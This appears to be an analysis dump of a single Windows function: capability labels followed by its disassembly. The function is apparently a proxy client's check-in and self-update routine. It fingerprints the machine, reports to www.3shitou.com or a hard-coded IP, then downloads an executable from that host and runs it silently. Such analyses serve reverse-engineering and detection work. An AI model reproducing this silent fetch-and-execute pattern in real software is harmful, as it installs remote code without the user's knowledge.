Function at 0x409f80
Capabilities:
Check if file exists
Check mutex on windows
Create process on windows
Delete file
Get disk information
Query or enumerate registry value
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x42fcc7
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x83cc
call fcn.00427e80
mov eax, dword [0x43b3c0]
xor eax, esp
mov dword [esp + 0x83c8], eax
push ebx
push esi
push edi
mov eax, dword [0x43b3c0]
xor eax, esp
push eax
lea eax, [esp + 0x83e0]
mov dword fs:[0], eax
mov edi, ecx
mov eax, dword [edi + 0x3c]
push eax
lea ecx, [edi + 0x2c]
push ecx
push str.CStatusMaintainThread:_ReceiveUDP_from__s:_d__n
mov dword [esp + 0x28], edi
call fcn.00404f40
add esp, 0xc
call fcn.0040a960
push 0x27
xor ebx, ebx
lea edx, [esp + 0x43b0]
push ebx
push edx
mov dword [esp + 0x2c], eax
call fcn.0041a300
add esp, 0xc
lea eax, [esp + 0x18]
push eax
push 0x20019
push ebx
push str.SoftwareVeryProxy
push reloc.WS2_32.dll_bind
mov dword [esp + 0x2c], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40a05f
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x1c]
lea edx, [esp + 0x43b0]
push edx
lea eax, [esp + 0x1c]
push eax
push ebx
push str.UUID
push ecx
mov dword [esp + 0x2c], 1
mov dword [esp + 0x28], 0x27
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp byte [esp + 0x43ac], bl
jne 0x40a1d2
xor eax, eax
push 0x2f
mov dword [esp + 0x4341], eax
mov dword [esp + 0x4345], eax
mov dword [esp + 0x4349], eax
mov dword [esp + 0x434d], eax
mov dword [esp + 0x4351], eax
mov dword [esp + 0x4355], eax
mov dword [esp + 0x4359], eax
mov word [esp + 0x435d], ax
mov byte [esp + 0x435f], al
lea eax, [esp + 0x4381]
push ebx
push eax
mov byte [esp + 0x4348], bl
mov byte [esp + 0x4388], bl
call fcn.0041a300
xor eax, eax
add esp, 0xc
lea ecx, [esp + 0xac]
push ecx
mov dword [esp + 0xb0], eax
mov dword [esp + 0xb4], eax
mov dword [esp + 0xb8], eax
mov dword [esp + 0xbc], eax
call dword [sym.imp.RPCRT4.dll_UuidCreateSequential]
test eax, eax
jne 0x40a149
movzx edx, byte [esp + 0xbb]
movzx eax, byte [esp + 0xba]
push edx
push eax
mov eax, dword [esp + 0xc0]
movzx ecx, ah
push ecx
movzx ecx, byte [esp + 0xc2]
movzx edx, al
movzx eax, byte [esp + 0xc3]
push edx
push eax
push ecx
lea edx, [esp + 0x4354]
push str._02X_02X_02X_02X_02X_02X
push edx
call fcn.00417738
add esp, 0x20
jmp 0x40a15e
lea eax, [esp + 0x433c]
push str.000000000000
push eax
call fcn.00417738
add esp, 8
push ebx
push ebx
push ebx
push ebx
lea ecx, [esp + 0x20]
push ecx
push ebx
push ebx
push 0x437544
mov dword [esp + 0x30], ebx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x40a198
mov edx, dword [esp + 0x10]
push edx
lea eax, [esp + 0x4380]
push str._08X
push eax
call fcn.00417738
add esp, 0xc
jmp 0x40a1ad
lea ecx, [esp + 0x437c]
push str.00000000
push ecx
call fcn.00417738
add esp, 8
lea edx, [esp + 0x433c]
push edx
lea eax, [esp + 0x4380]
push eax
lea ecx, [esp + 0x43b4]
push str._s_0000_0000_0000__s
push ecx
call fcn.00417738
add esp, 0x10
call fcn.004043a0
jmp 0x40a1e0
mov dword [esp + 0x28], vtable.CTCPClient.0
push 0x1bb
mov ecx, str.www.3shitou.com
mov dword [esp + 0x83ec], ebx
call fcn.0040c0a0
mov esi, eax
mov dword [esp + 0x10], esi
cmp esi, ebx
jne 0x40a225
push 0x1bb
mov ecx, str.219.238.235.37
call fcn.0040c0a0
mov dword [esp + 0x10], eax
cmp eax, ebx
je 0x40a910
mov esi, eax
mov eax, 0x437574
cmp dword [edi + 0x44], ebx
jne 0x40a234
mov eax, 0x437578
lea edx, [esp + 0x43ac]
push edx
push 0x43c19c
push str.00000000_00000000000000
push eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
shr edx, 6
push edx
mov edx, dword [esp + 0x34]
push edx
push 1
push str.1.26
lea eax, [esp + 0x43f4]
push str.ClientVersion:__s_nCommandId:__d_nOSName:__s_nPowerOnDuration:__d_nAverageCost:_0_nPublicIP:__s_nClientInstance:__s_nTimeStamp:__s_nClientUUID:__s_n_n
push eax
call fcn.00417738
lea eax, [esp + 0x43fc]
add esp, 0x28
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x40a285
sub eax, ecx
lea ecx, [esp + 0x43d4]
push ecx
mov edx, eax
mov ecx, esi
call fcn.004087c0
push 0x1fff
lea edx, [esp + 0x63d9]
push ebx
push edx
mov byte [esp + 0x63e0], bl
call fcn.0041a300
add esp, 0xc
lea eax, [esp + 0x63d4]
push eax
call fcn.004086d0
cmp eax, ebx
jle 0x40a8ec
push 0x2000
lea ecx, [esp + 0x230]
push ebx
push ecx
mov dword [esp + method.CCommand.virtual_0], vtable.CCommand.0
mov dword [esp + 0x234], ebx
call fcn.0041a300
xor eax, eax
add esp, 0xc
mov dword [esp + 0x222c], ebx
mov dword [esp + 0x2230], eax
mov dword [esp + 0x2234], eax
mov dword [esp + 0x2238], eax
mov dword [esp + 0x223c], eax
mov dword [esp + 0x2240], ebx
lea edx, [esp + 0x63d4]
push edx
lea edi, [esp + 0x228]
mov byte [esp + 0x83ec], 1
call fcn.00401450
cmp dword [esp + 0x228], 2
jne 0x40a8dd
xor eax, eax
mov dword [esp + 0x435d], eax
mov dword [esp + 0x4361], eax
mov dword [esp + 0x4365], eax
mov dword [esp + 0x4369], eax
mov dword [esp + 0x436d], eax
mov dword [esp + 0x4371], eax
mov dword [esp + 0x4375], eax
mov word [esp + 0x4379], ax
mov byte [esp + 0x437b], al
mov dword [esp + 0x433d], eax
mov dword [esp + 0x4341], eax
mov dword [esp + 0x4345], eax
mov dword [esp + 0x4349], eax
mov dword [esp + 0x434d], eax
mov dword [esp + 0x4351], eax
mov dword [esp + 0x4355], eax
mov word [esp + 0x4359], ax
mov byte [esp + 0x435b], al
lea eax, [esp + 0x22c]
push str.ClientInstance
push eax
mov byte [esp + 0x4364], bl
mov byte [esp + 0x4344], bl
call fcn.00417550
add esp, 8
cmp eax, ebx
jne 0x40a404
mov byte [esp + 0x435c], bl
jmp 0x40a4dd
xor ecx, ecx
push 0x1f
push 0xa
add eax, 0x10
mov dword [esp + 0x4364], ecx
mov dword [esp + 0x4368], ecx
mov dword [esp + 0x436c], ecx
mov dword [esp + 0x4370], ecx
mov dword [esp + 0x4374], ecx
mov dword [esp + 0x4378], ecx
mov dword [esp + 0x437c], ecx
mov dword [esp + 0x4380], ecx
push eax
lea ecx, [esp + 0x4368]
push ecx
call fcn.00417600
add esp, 0x10
cmp eax, ebx
je 0x40a45d
mov byte [eax - 1], bl
cmp byte [esp + 0x435c], bl
je 0x40a4dd
mov ecx, str.00000000_00000000000000
lea eax, [esp + 0x435c]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40a492
cmp dl, bl
je 0x40a48e
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40a492
add eax, 2
add ecx, 2
cmp dl, bl
jne 0x40a472
xor eax, eax
jmp 0x40a497
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
je 0x40a4dd
xor eax, eax
push 0x1f
push ebx
lea edx, [esp + 0x4364]
push edx
push str.00000000_00000000000000
mov dword [str.00000000_00000000000000], eax
mov dword [0x43c180], eax
mov dword [0x43c184], eax
mov dword [0x43c188], eax
mov dword [0x43c18c], eax
mov dword [0x43c190], eax
mov dword [0x43c194], eax
mov dword [0x43c198], eax
call fcn.00417600
add esp, 0x10
lea eax, [esp + 0x22c]
push str.TimeStamp
push eax
call fcn.00417550
add esp, 8
cmp eax, ebx
jne 0x40a4ff
mov byte [esp + 0x433c], bl
jmp 0x40a558
xor ecx, ecx
push 0x1f
push 0xa
add eax, 0xb
mov dword [esp + 0x4344], ecx
mov dword [esp + 0x4348], ecx
mov dword [esp + 0x434c], ecx
mov dword [esp + 0x4350], ecx
mov dword [esp + 0x4354], ecx
mov dword [esp + 0x4358], ecx
mov dword [esp + 0x435c], ecx
mov dword [esp + 0x4360], ecx
push eax
lea ecx, [esp + 0x4348]
push ecx
call fcn.00417600
add esp, 0x10
cmp eax, ebx
je 0x40a558
mov byte [eax - 1], bl
xor eax, eax
push 0x1f
push ebx
lea edx, [esp + 0x4344]
push edx
push 0x43c19c
mov dword [0x43c19c], eax
mov dword [0x43c1a0], eax
mov dword [0x43c1a4], eax
mov dword [0x43c1a8], eax
mov dword [0x43c1ac], eax
mov dword [0x43c1b0], eax
mov dword [0x43c1b4], eax
mov dword [0x43c1b8], eax
call fcn.00417600
xor eax, eax
mov dword [esp + 0x438d], eax
mov dword [esp + 0x4391], eax
mov dword [esp + 0x4395], eax
mov dword [esp + 0x4399], eax
mov dword [esp + 0x439d], eax
mov dword [esp + 0x43a1], eax
mov dword [esp + 0x43a5], eax
mov word [esp + 0x43a9], ax
mov byte [esp + 0x43ab], al
lea eax, [esp + 0x23c]
push str.LatestVersion
push eax
mov byte [esp + 0x4394], bl
call fcn.00417550
add esp, 0x18
cmp eax, ebx
jne 0x40a602
mov byte [esp + 0x437c], bl
jmp 0x40a65b
xor ecx, ecx
push 0x1f
push 0xa
add eax, 0xf
mov dword [esp + 0x4384], ecx
mov dword [esp + 0x4388], ecx
mov dword [esp + 0x438c], ecx
mov dword [esp + 0x4390], ecx
mov dword [esp + 0x4394], ecx
mov dword [esp + 0x4398], ecx
mov dword [esp + 0x439c], ecx
mov dword [esp + 0x43a0], ecx
push eax
lea ecx, [esp + 0x4388]
push ecx
call fcn.00417600
add esp, 0x10
cmp eax, ebx
je 0x40a65b
mov byte [eax - 1], bl
mov edx, dword [esp + 0x1c]
mov esi, dword [edx + 0x44]
mov ecx, dword [0x43d77c]
neg esi
sbb esi, esi
and esi, 0x28
add esi, 0x14
mov eax, ecx
xor edx, edx
div esi
inc ecx
mov dword [0x43d77c], ecx
test edx, edx
jne 0x40a8dd
mov ecx, str.1.26
lea eax, [esp + 0x437c]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40a6b3
cmp dl, bl
je 0x40a6af
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40a6b3
add eax, 2
add ecx, 2
cmp dl, bl
jne 0x40a693
xor eax, eax
jmp 0x40a6b8
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jle 0x40a8dd
push str.SYS_VERY_PROXY_3SHITOU_MUTEX
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [esp + 0x14], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x40a8d2
lea eax, [esp + 0x2c]
push eax
call fcn.0040af20
push str..exe
push ecx
lea ecx, [esp + 0x4384]
push ecx
push ecx
lea edx, [esp + 0x3c]
push str.http:__www.3shitou.com_proxy_Upgrade_v
push edx
mov byte [esp + 0x8400], 2
call fcn.0040be20
add esp, 0xc
push eax
call fcn.0040be20
add esp, 0xc
push eax
call fcn.0040be20
add esp, 8
lea eax, [esp + 0xc8]
lea ecx, [esp + 0x2c]
call fcn.0040b030
lea eax, [esp + 0x225c]
push eax
mov byte [esp + 0x83ec], 3
call fcn.00403440
push 1
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x44], esp
push 0xffffffffffffffff
mov byte [esp + 0x840c], 4
push ebx
lea edx, [esp + 0xf0]
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], ebx
push edx
mov byte [ecx + 4], bl
call fcn.004027b0
lea edi, [esp + 0xcc]
lea esi, [esp + 0x227c]
call fcn.00403700
mov eax, dword [esp + 0xb0]
mov edi, 0x10
cmp dword [esp + 0xc4], edi
jae 0x40a7ab
lea eax, [esp + 0xb0]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40a82f
push 0x140
lea eax, [esp + 0xe8]
push ebx
push eax
call fcn.0041a300
mov esi, dword [esp + 0xbc]
add esp, 0xc
cmp dword [esp + 0xc4], edi
jae 0x40a7e3
lea esi, [esp + 0xb0]
lea ecx, [esp + 0xe4]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x40a82f
mov edi, dword [esp + 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp edi, 0x40000
jbe 0x40a823
push ebx
push ebx
push str._silent
push esi
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x40a82a
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edi, 0x10
cmp dword [esp + 0xc4], edi
jb 0x40a848
mov edx, dword [esp + 0xb0]
push edx
call fcn.004174eb
add esp, 4
mov esi, 0xf
lea ecx, [esp + 0x225c]
mov dword [esp + 0xc4], esi
mov dword [esp + 0xc0], ebx
mov byte [esp + 0xb0], bl
mov byte [esp + 0x83e8], 3
call fcn.00403530
mov byte [esp + 0x83e8], 2
cmp dword [esp + 0xe0], edi
jb 0x40a897
mov eax, dword [esp + 0xcc]
push eax
call fcn.004174eb
add esp, 4
lea ecx, [esp + 0x78]
mov dword [esp + 0xe0], esi
mov dword [esp + 0xdc], ebx
mov byte [esp + 0xcc], bl
mov byte [esp + 0x83e8], 1
call fcn.0040afc0
lea ecx, [esp + 0x78]
push ecx
mov dword [esp + 0x7c], vtable.std::ios_base.0
call fcn.0042a378
add esp, 4
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x1c]
mov byte [esp + 0x83e8], bl
mov esi, dword [esp + 0x10]
cmp dword [esi + 0x1e0], 1
je 0x40a906
mov eax, dword [esi + 0x1b8]
mov edx, dword [eax + 0x20]
lea ecx, [esi + 0x1b8]
call edx
mov eax, dword [esi]
mov edx, dword [eax]
push 1
mov ecx, esi
call edx
mov eax, dword [edi + 0x44]
mov ecx, dword [edi + 8]
neg eax
sbb eax, eax
and eax, 0xffffff88
add eax, 0xb4
imul eax, eax, 0x3e8
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x40a1e0